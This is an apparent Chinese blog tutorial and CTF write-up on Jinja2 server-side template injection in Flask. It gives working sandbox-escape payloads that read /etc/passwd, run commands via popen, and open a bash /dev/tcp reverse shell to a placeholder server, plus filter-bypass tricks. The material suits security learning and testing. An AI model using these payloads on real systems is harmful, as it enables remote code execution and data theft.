SSTI模板注入基础(Flask+Jinja2)

2023-12-23 15:52

本文主要是介绍SSTI模板注入基础(Flask+Jinja2),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 一、前置知识
    • 1.1 模板引擎
    • 1.2 渲染
  • 二、SSTI模板注入
    • 2.1 原理
    • 2.2 沙箱逃逸
      • 沙箱逃逸payload讲解
      • 其他重要payload
    • 2.3 过滤绕过
      • 点`.`被过滤
      • 下划线`_`被过滤,UTF-8编码绕过
      • 单双引号`' "`被过滤,使用get/post传参绕过
  • 三、PasecaCTF-2019-Web-Flask SSTI

一、前置知识

1.1 模板引擎

  模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
在这里插入图片描述

Flask是一个 web 框架,Jinja2是模板引擎。

模板引擎判断
在这里插入图片描述

绿色为执行成功,红色为执行失败。

1.2 渲染

  • 前端渲染( SPA , 单页面应用 )
      浏览器从服务器得到一些信息( 可能是 JSON 等各种数据交换格式所封装的数据包 , 也可能是合法的 HTML 字符串 ),浏览器将这些信息排列组合成人类可读的 HTML 字符串 . 然后解析为最终的 HTML 页面呈现给用户。整个过程都是由客户端浏览器完成的 , 因此对服务器后端的压力较小 , 仅需要传输数据即可。

    也就是说服务端只发送用户所需数据,浏览器负责将这部分数据排列成人类可读的HTML字符串。

  • 后端渲染( SSR , 服务器渲染 )
      浏览器会直接接收到经过服务器计算并排列组合后的 HTML 字符串 , 浏览器仅需要将字符串解析为呈现给用户的 HTML 页面就可以了 。整个过程都是由服务器完成的 , 因此对客户端浏览器的压力较小 , 大部分任务都在服务器端完成了 , 浏览器仅需要解析并呈现 HTML 页面即可。

    也就是说服务端将用户所需的数据排列成人类可读的HTML字符串了,浏览器只需对传输的数据解码就可以用了。

Flask中的重要渲染函数:render_template()render_template_string()
Jinja2模板语法:

{% ... %} //声明变量,当然也可以用于循环语句和条件语句。
{{ ... }} //用于将表达式打印到模板输出

二、SSTI模板注入

2.1 原理

  漏洞成因:服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

  凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

举一个栗子,下面是后端代码:

from flask import Flask, request
from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')t = Template("Hello " + name)return t.render()if __name__ == "__main__":app.run()

name变量完全可控,那么写入Jinja2模板语言:
在这里插入图片描述
这大概就是SSTI模板注入,使用{{....}}的方式测试参数,可以用来判断是否存在SSTI模板注入。

2.2 沙箱逃逸

  在上述代码中,虽然理论上可以实现任意代码执行,但由于模板本身的沙盒安全机制,某些语句并不会执行,如直接name={{os.popen(%27dir%27)}}。沙盒逃逸的过程简单讲如下:

变量类型 → \rightarrow 找到所属类型 → \rightarrow 回溯基类 → \rightarrow 寻找可利用子类 → \rightarrow 最终payload

一些内建魔术方法如下:

  • __class__:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
    >>> ''.__class__
    <type 'str'>
    >>> ().__class__
    <type 'tuple'>
    >>> [].__class__
    <type 'list'>
    >>> {}.__class__
    <type 'dict'>
    
  • __bases__:用来查看类的基类,也可是使用数组索引来查看特定位置的值。
    >>> ().__class__.__bases__
    (<type 'object'>,)
    >>> ''.__class__.__bases__
    (<type 'basestring'>,)
    >>> [].__class__.__bases__
    (<type 'object'>,)
    >>> {}.__class__.__bases__
    (<type 'object'>,)
    >>> [].__class__.__bases__[0]
    <type 'object'>
    
  • __mro__:也可以获取基类
    >>> ''.__class__.__mro__
    (<class 'str'>, <class 'object'>)
    >>> [].__class__.__mro__
    (<class 'list'>, <class 'object'>)
    >>> {}.__class__.__mro__
    (<class 'dict'>, <class 'object'>)
    >>> ().__class__.__mro__
    (<class 'tuple'>, <class 'object'>)
    >>> ().__class__.__mro__[1]            # 使用索引就能获取基类了
    <class 'object'>
    
  • __subclasses__():以列表返回类的子类
  • _globals__:以dict返回函数所在模块命名空间中的所有变量

沙箱逃逸payload讲解

  以下面的payload为例详细阐述沙箱逃逸的思路。{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")}}

核心思想:核心在于python中类的继承与被继承的关系,通过这种关系的查找合适的类,找到合适的类后利用该类中的函数或者模块去调用与读取文件相关的函数或命令,上述payload中获取flag或者重要文件信息的关键是eval("__import__('os').popen('type flag.txt').read()")

  1. 除了标准的python语法使用.访问变量属性外,还可以使用[]来访问变量属性。

  2. ''.__class____class__是类中的一个内置属性,值是该实例的对应的类。这里使用的是’'.class,得到的则是空字符串这个实例对应的类,也就是字符类。这样操作的意义是将我们现在操作的对象切换到类上面去,这样才能进行之后继承与被继承的操作。也可以使用()/[]/{}
    在这里插入图片描述

  3. ''.__class__.__base____base__也是类中的一个内置属性,值当前类的父类,而在python中object是一切类最顶层的父类,也就是说我们可以通过上一步获取到的类往上获取(一般数据类型的上一层父类中便有object),最终便会获取到object,而由于object的特殊性,我们便能从object往下获取到其他所有的类,其中便有着能实现我们读取flag功能的类。
    在这里插入图片描述

    其他类似功能的还有__bases____mro__,但返回的数据包含类的元组,所以还需要下标选定object类)。

  4. ''.__class__.__base__.__subclasses__()__subclasses__ ()是类中的一个内置方法,返回值是包含当前类所有子类的一个列表,通过上一步获取到的object类我们实现了向下获取,接着我们需要在这些子类中获取合适的类。
    在这里插入图片描述

  5. ''.__class__.__base__.__subclasses__()[80].__init__ __init__是类中的内置方法,在这个类实例化是自动被调用,但是返回值只能是None,且在调用时必须传入该类的实例对象。如果我们不去调用它,此时我们获得的是我们选取的类中的__init__这个函数。由于python一切皆对象的特性,函数本质上也是对象,也存在类中的一些内置方法和内置属性,所以我们可以执行接下来的操作。
    在这里插入图片描述

  6. ''.__class__.__base__.__subclasses__()[80].__init__.__globals____globals__是函数中的一个内置属性,以字典的形式返回当前空间的全局变量,而其中就能找到我们需要的目标模块__builtins__
    在这里插入图片描述

    注意:并不是每个类的__init__都拥有__globals__属性,找__init__中拥有__globals__属性的类的原因是:__builtins__模块中有很多我们常用的内置函数和类,其中就有eval()函数。
    在这里插入图片描述

    还可以使用下面的脚本去寻找__init__中拥有__globals__属性的类

    import requests as res
    for i in range(0,400):url="http://127.0.0.1:5000/ssti?name={{''.__class__.__base__.__subclasses__()[%d].__init__.__globals__}}"response=res.get(url%i)print(len(response.text),i,response.status_code)
    

    在这里插入图片描述

其他重要payload

  1. 作为储存配置信息的变量config刚好对应的就是一个非常合适的类,因为这个类中__init__函数全局变量中已经导入了os模块,我们可以直接调用。{{config.__class__.__init__.__globals__['os'].popen('type flag.txt').read()}}

  2. 读取文件payload

    ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
    

    object类的子类是<type 'file'>

  3. 任意代码执行

    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__.popen('ls').read() //这个可以用# eval
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")# 反弹shell
    ''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()
    
  4. {{config}},查看配置信息
    在这里插入图片描述

  5. {{request.environ}},一个与服务器环境相关的对象字典 .
    在这里插入图片描述

2.3 过滤绕过

.被过滤

	"".__class__ == ""["__class__"]"".__class__ == ""|attr("__class__")"".__class__ == "".__getattribute__("__class__")

下划线_被过滤,UTF-8编码绕过

	"__class__"=="\x5f\x5fclass\x5f\x5f" //UTF-8编码

单双引号' "被过滤,使用get/post传参绕过

	# 当单双引号被过滤后以下访问将被限制{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}# 可以通过request.args的get传参输入引号内的内容,payload:{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}# 同时get传参?popen=popen&cmd=cat /flag# 也可以通过request.form的post传参输入引号内的内容,payload:{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}# 同时post传参?popen=popen&cmd=cat /flag

三、PasecaCTF-2019-Web-Flask SSTI

登录靶机,输入1,页面又返回1,因为提示使用Flask框架,使用{{1+1}}测试是否渲染引擎为Jinja2
在这里插入图片描述在这里插入图片描述

说明此处存在SSTI模板注入,且框架为Flask,模板引擎Jinja2

在这里插入图片描述

注释:

  • jQuery是javascript的一个库, $号是jQuery类的一个别称,$()构造了一个jQuery对象,$()可以叫做jQuery的构造函数。
  • $.post语法:jQuery.post(url, data, success(data,textStatus,jqXHR), datatype),其中:
    • url,规定把请求发送到哪个URL;
    • data,规定连同请求发送给服务器的数据;
    • success(data,textStatus,jqXHR),请求成功时返回的回调函数;
    • datatype,规定预期服务器响应的数据类型。

测试发现过滤了. * _
在这里插入图片描述
在这里插入图片描述
使用UTF-8编码绕过过滤,{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"]}}
在这里插入图片描述
读取app.py文件,{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[117]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["popen"]("ls")["read"]()}}

在这里插入图片描述
通过阅读代码,发现flag经过加密后放在app.config中。app就是一个Flask对象,app.config存储这个Flask对象的所有配置变量。
{{config}}查看配置变量,'flag': '(U0\x1fy\x13y:0Sq5(\x11F\x03o\x0fdB\x1c\x13[X!jYeN_\x10\x15'}
在这里插入图片描述
好,不会解密了。噶~

这篇关于SSTI模板注入基础(Flask+Jinja2)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/528579

相关文章

从基础到进阶详解Pandas时间数据处理指南

《从基础到进阶详解Pandas时间数据处理指南》Pandas构建了完整的时间数据处理生态,核心由四个基础类构成,Timestamp,DatetimeIndex,Period和Timedelta,下面我... 目录1. 时间数据类型与基础操作1.1 核心时间对象体系1.2 时间数据生成技巧2. 时间索引与数据

安装centos8设置基础软件仓库时出错的解决方案

《安装centos8设置基础软件仓库时出错的解决方案》:本文主要介绍安装centos8设置基础软件仓库时出错的解决方案,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录安装Centos8设置基础软件仓库时出错版本 8版本 8.2.200android4版本 javas

Linux基础命令@grep、wc、管道符的使用详解

《Linux基础命令@grep、wc、管道符的使用详解》:本文主要介绍Linux基础命令@grep、wc、管道符的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录grep概念语法作用演示一演示二演示三,带选项 -nwc概念语法作用wc,不带选项-c,统计字节数-

python web 开发之Flask中间件与请求处理钩子的最佳实践

《pythonweb开发之Flask中间件与请求处理钩子的最佳实践》Flask作为轻量级Web框架,提供了灵活的请求处理机制,中间件和请求钩子允许开发者在请求处理的不同阶段插入自定义逻辑,实现诸如... 目录Flask中间件与请求处理钩子完全指南1. 引言2. 请求处理生命周期概述3. 请求钩子详解3.1

python操作redis基础

《python操作redis基础》Redis(RemoteDictionaryServer)是一个开源的、基于内存的键值对(Key-Value)存储系统,它通常用作数据库、缓存和消息代理,这篇文章... 目录1. Redis 简介2. 前提条件3. 安装 python Redis 客户端库4. 连接到 Re

Python Flask 库及应用场景

《PythonFlask库及应用场景》Flask是Python生态中​轻量级且高度灵活的Web开发框架,基于WerkzeugWSGI工具库和Jinja2模板引擎构建,下面给大家介绍PythonFl... 目录一、Flask 库简介二、核心组件与架构三、常用函数与核心操作 ​1. 基础应用搭建​2. 路由与参

SpringBoot基础框架详解

《SpringBoot基础框架详解》SpringBoot开发目的是为了简化Spring应用的创建、运行、调试和部署等,使用SpringBoot可以不用或者只需要很少的Spring配置就可以让企业项目快... 目录SpringBoot基础 – 框架介绍1.SpringBoot介绍1.1 概述1.2 核心功能2

Java如何根据word模板导出数据

《Java如何根据word模板导出数据》这篇文章主要为大家详细介绍了Java如何实现根据word模板导出数据,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编一起学习一下... pom.XML文件导入依赖 <dependency> <groupId>cn.afterturn</groupId>

Spring Boot集成SLF4j从基础到高级实践(最新推荐)

《SpringBoot集成SLF4j从基础到高级实践(最新推荐)》SLF4j(SimpleLoggingFacadeforJava)是一个日志门面(Facade),不是具体的日志实现,这篇文章主要介... 目录一、日志框架概述与SLF4j简介1.1 为什么需要日志框架1.2 主流日志框架对比1.3 SLF4

Spring Boot集成Logback终极指南之从基础到高级配置实战指南

《SpringBoot集成Logback终极指南之从基础到高级配置实战指南》Logback是一个可靠、通用且快速的Java日志框架,作为Log4j的继承者,由Log4j创始人设计,:本文主要介绍... 目录一、Logback简介与Spring Boot集成基础1.1 Logback是什么?1.2 Sprin